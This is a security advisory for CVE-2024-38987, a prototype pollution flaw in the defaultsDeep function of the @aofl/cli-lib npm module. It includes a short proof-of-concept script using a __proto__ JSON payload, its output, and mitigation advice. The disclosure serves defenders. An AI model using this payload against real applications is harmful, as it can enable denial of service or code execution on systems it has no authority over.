[CVE-2024-38987] Prototype Pollution vulnerability affecting aofl/cli-lib module, versions <= 3.14.0

aofl-cli-lib-pp.md

SVSS Score
6.3 MEDIUM

Overview

All versions of this module are vulnerable to Prototype Pollution via defaultsDeep. The user's supplied value recursively copy all child properties to the destination without proper security validation.

An attacker can be exploit this method to inject malicious payload via built-in Object through the special properties __proto__ or constructor.prototype. Thus, the attacker can use one of these properties to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.

Call stack:

defaultsDeep (@aofl/cli-lib/modules/defaults.js:13)

PoC

(async () => {
  const lib = await import('@aofl/cli-lib');
var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}')

var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
	lib.defaultsDeep ({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

Output:

Before Attack:  {}
After Attack:  {"polluted":true}

Expected output after the patch:

Before Attack:  {}
After Attack:  {}

How to prevent:

No updates were provided by the maintainer. Users of this module are urged to implement proper santization and validation over user's supplied inputs, such as blocking inputs containing __proto__ and contructor.prototype

References:

• AgeOfLearning/aofl#35
• https://learn.snyk.io/lesson/prototype-pollution/#a0a863a5-fd3a-539f-e1ed-a0769f6c6e3b